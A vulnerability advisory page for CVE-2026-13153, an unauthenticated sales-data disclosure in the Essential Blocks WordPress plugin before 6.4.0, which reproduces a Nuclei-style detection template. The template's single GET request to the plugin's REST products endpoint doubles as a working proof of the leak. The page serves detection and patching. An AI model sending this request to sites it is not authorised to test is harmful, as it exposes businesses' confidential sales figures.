Essential Blocks < 6.4.0 - Information Disclosure
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| CVE-2026-13153 | 6 Aug 202606:00 | – | attackerkb | |
| CVE-2026-13153 | 6 Aug 202606:00 | – | cve | |
| CVE-2026-13153 Essential Blocks < 6.4.0 - Unauthenticated WooCommerce Sales Data Disclosure via REST products Endpoint | 6 Aug 202606:00 | – | cvelist | |
| EUVD-2026-53735 | 6 Aug 202606:00 | – | euvd | |
| CVE-2026-13153 | 6 Aug 202607:16 | – | nvd | |
| WordPress Essential Blocks plugin < 6.4.0 - Unauthenticated WooCommerce Sales Data Disclosure via REST products Endpoint vulnerability | 20 Aug 202610:30 | – | patchstack | |
| CVE-2026-13153 Essential Blocks < 6.4.0 - Unauthenticated WooCommerce Sales Data Disclosure via REST products Endpoint | 6 Aug 202606:00 | – | vulnrichment |
id: CVE-2026-13153
info:
name: Essential Blocks < 6.4.0 - Information Disclosure
author: str4k3r
severity: medium
description: |
Gutenberg Essential Blocks WordPress plugin < 6.4.0 contains an information disclosure caused by unrestricted access to a public REST route exposing non-public WooCommerce sales metrics, letting unauthenticated users read product sales data.
impact: |
Unauthenticated users can access sensitive sales metrics, potentially exposing business-sensitive information.
remediation: |
Update to version 6.4.0 or later.
reference:
- https://wpscan.com/vulnerability/0401a229-9630-49ab-ae4b-53360cf5d109/
- https://nvd.nist.gov/vuln/detail/CVE-2026-13153
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-13153
cwe-id: CWE-200
metadata:
verified: true
max-request: 1
tags: cve,cve2026,wordpress,wp-plugin,essential-blocks,woocommerce,unauth
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/essential-blocks/v1/products?per_page=20"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"sold_count":'
- '"title"'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100d3191390c59ce4892c7d39c4fffaca161cfc91a157c6db65b221496717e29030022019cd7979b2a77a430ca6f1d6416bffb6589da8ce0ecee246613d1ffc4002bcf0:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Sep 2026 16:47Current
CVSS 3.17.5
EPSS0.00256
SSVC